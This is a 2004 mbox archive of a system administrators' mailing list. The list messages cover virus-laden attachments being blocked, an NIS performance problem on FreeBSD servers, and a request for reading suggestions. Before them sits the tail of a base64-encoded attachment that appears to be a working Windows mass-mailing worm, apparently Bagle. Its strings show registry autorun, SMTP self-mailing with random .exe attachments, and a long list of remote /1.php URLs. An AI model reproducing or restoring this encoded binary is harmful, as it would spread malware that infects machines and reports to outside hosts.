UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------467511343718461-- From sage-members-owner@usenix.org Tue Jan 20 10:42:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0KIgZNn023912 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Jan 2004 10:42:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0KIgZHH023911 for sage-members-outgoing; Tue, 20 Jan 2004 10:42:35 -0800 (PST) Date: Tue, 20 Jan 2004 11:42:33 -0700 (MST) From: Rob Kolstad Message-Id: <200401201842.i0KIgXig029095@ace.DELOS.COM> To: sage-members@sage.org Subject: [SAGE] viruses, spam Sender: owner-sage-members@usenix.org Precedence: bulk OK -- no more attachments for sage-members. I'll do this after lunch. Sorry for the inconvenience. We removed trey@sage.org from the 'authorized to send' list, so something else tricky is going on. Obviously, Trey is not sending these notes either accidentally or on purpose. RK ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Tue Jan 20 19:50:18 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0L3oIcH020845 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Jan 2004 19:50:18 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0L3oIP6020844 for sage-members-outgoing; Tue, 20 Jan 2004 19:50:18 -0800 (PST) Received: from biz.compata.com (compata.com [216.237.5.34]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0L3oDcG020840 for ; Tue, 20 Jan 2004 19:50:17 -0800 (PST) Received: from biz.compata.com by biz.compata.com (Linux 2.2.14) with ESMTP (8.11.6/8.11.6) id i0L3oBD03520 for ; Tue, 20 Jan 2004 19:50:11 -0800 Message-Id: <200401210350.i0L3oBD03520@biz.compata.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.3 To: sage-members@usenix.org Subject: Re: [SAGE] viruses, spam In-reply-to: Your message of "Tue, 20 Jan 2004 11:42:33 MST." <200401201842.i0KIgXig029095@ace.DELOS.COM> From: Dave Close X-message-flag: Did you know MS Outlook is evil? X-Face: $?&5f7w4GjUJOb-[FmngebA}V`5Dv)QEdHg|d%mytVRm]'o}*{J6:PP%(LfN LmOcb#>"^wDF*|ZzuS??S*vLH[.miV(OK -- no more attachments for sage-members. I'll do this after lunch. Please tell us what you did to block them. I use demime very successfully but I'm always interested to learn about other techniques. >Sorry for the inconvenience. We removed trey@sage.org from the >'authorized to send' list, so something else tricky is going on. I also use /etc/aliases to copy incoming list mail to a special mailbox in addition to passing it to demime and Majordomo. Then if anything goes wrong, I can look at the original mail to help debug. Your Majordomo is discarding the original headers so having that copy could be even more valuable for you. Please tell us what you learn. -- Dave Close, Compata, Costa Mesa CA "'Always' and 'never' are two dave@compata.com, +1 714 434 7359 words you should always remember dhclose@alumni.caltech.edu never to use." --Wendell Johnson From sage-members-owner@usenix.org Wed Jan 21 12:16:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LKGQcH006221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 12:16:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LKGQ3J006220 for sage-members-outgoing; Wed, 21 Jan 2004 12:16:26 -0800 (PST) Received: from ke.earlham.edu (ke.earlham.edu [159.28.1.93]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LKGJcH006216 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 12:16:24 -0800 (PST) Received: from llya010.lly.earlham.edu (llya010.lly.earlham.edu [159.28.7.10]) (authenticated bits=0) by ke.earlham.edu (8.12.6/8.12.6) with ESMTP id i0LKGFu7031921 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 15:16:18 -0500 (EST) (envelope-from littejo@earlham.edu) Date: Wed, 21 Jan 2004 15:16:11 -0500 (EST) From: John Rowan Littell X-X-Sender: rowan@llya010.lly.earlham.edu To: sage-members@usenix.org Subject: [SAGE] NIS conniption fits Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sanitizer: This message has passed the MIMEDefang sanitizer. X-Sanitizer-URL: http://www.earlham.edu/~ecs X-Sanitizer-Version: MIMEDefang/ECSanitizer $Revision: 1.16 $ X-Sanitizer-Config-Version: $Revision: 1.136 $ X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- I'm having what is ever becoming a more perplexing and bizarre problem with NIS. I have a collection of about 5 FreeBSD servers, one of which is an NIS master for around 5000 users and about 400 groups, the others of which are clients. The passwd and group maps are refreshed on a periodic basis from an LDAP directory. Every once in a while, this network gets into a situation where the ypserv process on the NIS master chews up all the CPU it can get and the clients lose the ability to do much of anything useful in any kind of timely fashion. Tracing this down, it appears that what's going on is that the ypclient process and the ypserv process are passing back and forth megabytes worth of group map data, but it's somehow not getting processed by the client. Rebooting the client in question almost always fixes the problem, but in those occassions where it doesn't, the problem spreads to other clients and the server has to be rebooted as well. In no particular order, here are some of the things I've noticed about this behavior: * No log messages with any error indications. * All systems involved are running packet filters (ipf), but clearing and resetting them doesn't achieve anything. The filters are configured to allow all traffic among these systems anyway. * Restarting ypclient or ypserv (and associated rpcinfo wrangling) doesn't achieve anything except a rebinding of the RPC system and continuation of the problem state. * Sudo on the problem client still works (that's how I reboot it). * Any connections to the problem client (ssh, imap, pop, web) hang. * This behavior seems independant of the NIS refreshes from the LDAP server, at least time-wise. * All the systems (except the LDAP server) are running FreeBSD 4.4 to 4.9. There are some Solaris NIS clients in the network as well, but I've never noticed them to have problems (frankly, until recently the problems only ever involved one particular client and the master). * NIS client and master are passing group map information like it was going out of style (shown on tcpdump). * The NIS master is never heavily loaded, usually a load average of about 0.5 on a two CPU system. Problem clients have variable load averages, but the problem doesn't seem to be directly connected with that -- it just usually happens during the day (i.e., load related, but I'm not sure how). I'm sure there's more I could say about this, but hopefully this is enough to at least pique someone's interest. I'm about at the end of my rope with this puzzle. Has anyone run into this kind of behavior before, or have any suggestions of what else to poke at? Thanks, --rowan - -- John "Rowan" Littell Systems Administrator Earlham College Computing Services http://www.earlham.edu/~littejo/ 2004-01-21 14:49 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (Darwin) Comment: Made with pgp4pine 1.76 iQCVAwUBQA7eEJdUNSJ2nf/5AQGT2gQAz3MU6VPHeclEgNJHWuy4W9/zJYF7KlWt p+Ajgju2GgZWgJDR0aQuz1z8w9td8Ggy6vxmaV7OugL8EtacaHOZrHGd+m8Urvsx kOynDJnoQiQFHK/0KsbQmPWZttV8hA6Ak8JJemHr4OHaTU4H5zVTNBNY3RIxfUfB Gu1LyYJ/Uhw= =ssyr -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Wed Jan 21 13:12:41 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LLCfcH007261 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 13:12:41 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LLCfNq007260 for sage-members-outgoing; Wed, 21 Jan 2004 13:12:41 -0800 (PST) Received: from aphrodite.aquezada.com (H130.C231.tor.velocet.net [216.138.231.130]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LLCdcG007256 for ; Wed, 21 Jan 2004 13:12:40 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by aphrodite.aquezada.com (Postfix) with ESMTP id 01A54FE91 for ; Wed, 21 Jan 2004 16:12:34 -0500 (EST) Received: from aphrodite.aquezada.com ([127.0.0.1]) by localhost (aphrodite.acf.aquezada.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 99416-02 for ; Wed, 21 Jan 2004 16:12:22 -0500 (EST) Received: from jupiter.acf.aquezada.com (jupiter.acf.aquezada.com [192.168.5.5]) by aphrodite.aquezada.com (Postfix) with ESMTP id 6D861FE8C for ; Wed, 21 Jan 2004 16:12:22 -0500 (EST) Received: by jupiter.acf.aquezada.com (Postfix, from userid 1001) id 2DF6E5342A; Wed, 21 Jan 2004 16:12:22 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by jupiter.acf.aquezada.com (Postfix) with ESMTP id 2072553429 for ; Wed, 21 Jan 2004 16:12:22 -0500 (EST) Date: Wed, 21 Jan 2004 16:12:22 -0500 (EST) From: "Julian C. Dunn" X-X-Sender: jdunn@jupiter.acf.aquezada.com Cc: sage-members@usenix.org Subject: Re: [SAGE] NIS conniption fits In-Reply-To: Message-ID: References: Organization: Aquezada Productions MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new at aquezada.com Sender: owner-sage-members@usenix.org Precedence: bulk On Wed, 21 Jan 2004, John Rowan Littell wrote: > Every once in a while, this network gets into a situation where > the ypserv process on the NIS master chews up all the CPU it can > get and the clients lose the ability to do much of anything useful > in any kind of timely fashion. Tracing this down, it appears that > what's going on is that the ypclient process and the ypserv process > are passing back and forth megabytes worth of group map data, but > it's somehow not getting processed by the client. Rebooting the > client in question almost always fixes the problem, but in those > occassions where it doesn't, the problem spreads to other clients > and the server has to be rebooted as well. I have had similar problems on a cluster where all machines involved in the NIS domain did not have *all* of the others listed in /etc/hosts. Yes, irrespective of whether one is using another naming system, for some reason, failure to list all involved machine in /etc/hosts caused the massive data transfers you see there. That's just my experience, though. I would also check to see that the clocks are synchronized across all the machines in the cluster. - Julian -- [ Julian C. Dunn * ] [ WWW: www.aquezada.com/staff/julian/ * www.dreaming.org/~julian/ ] [ PGP: 0xFDC205B9 - 91B3 7A9D 683C 7C16 715F 442C 6065 D533 FDC2 05B9 ] [ "sometimes you win, sometimes you lose / and most times ] [ you choose between the two" - carole king, "sweet seasons" ] From sage-members-owner@usenix.org Wed Jan 21 13:43:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LLhBcH008164 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 13:43:11 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LLhBOm008163 for sage-members-outgoing; Wed, 21 Jan 2004 13:43:11 -0800 (PST) Received: from c001.snv.cp.net (h007.c001.snv.cp.net [209.228.32.121]) by usenix.org (8.12.10/8.12.10) with SMTP id i0LLhAcG008159 for ; Wed, 21 Jan 2004 13:43:10 -0800 (PST) Received: (cpmta 10794 invoked from network); 21 Jan 2004 13:43:08 -0800 Received: from 209.228.32.126 (HELO mail.draggoo.com.criticalpath.net) by smtp.register-admin.com (209.228.32.121) with SMTP; 21 Jan 2004 13:43:08 -0800 X-Sent: 21 Jan 2004 21:43:08 GMT Received: from [130.76.32.144] by mail.draggoo.com with HTTP; Wed, 21 Jan 2004 13:43:07 -0800 (PST) Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 To: sage-members@usenix.org From: "Wyatt Draggoo" Subject: [SAGE] Keeping yourself sharp... X-Sent-From: wyatt@draggoo.com Date: Wed, 21 Jan 2004 13:43:07 -0800 (PST) X-Mailer: Web Mail 5.6.0-2_sol28 Message-Id: <20040121134308.28194.h012.c001.wm@mail.draggoo.com.criticalpath.net> Sender: owner-sage-members@usenix.org Precedence: bulk I just found out that I'm leaving on Sunday for 3 weeks at a remote site in the Pacific. I can't bring any computing devices, including laptops or even my Palm Pilot, and internet access there is apparently rated at early-days-of-dialup speeds. Now, three weeks isn't that much time, and I'm fairly certain that 10 years of Unix experience isn't going to leak out of my ears in that time, but what would you bring to keep yourself sharp under those circumstances? Are there certain books you'd recommend? Things you'd listen to? I'm just curious. Thanks, Wyatt -- Wyatt Draggoo From sage-members-owner@usenix.org Wed Jan 21 14:00:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LM0ncH008784 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:00:49 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org 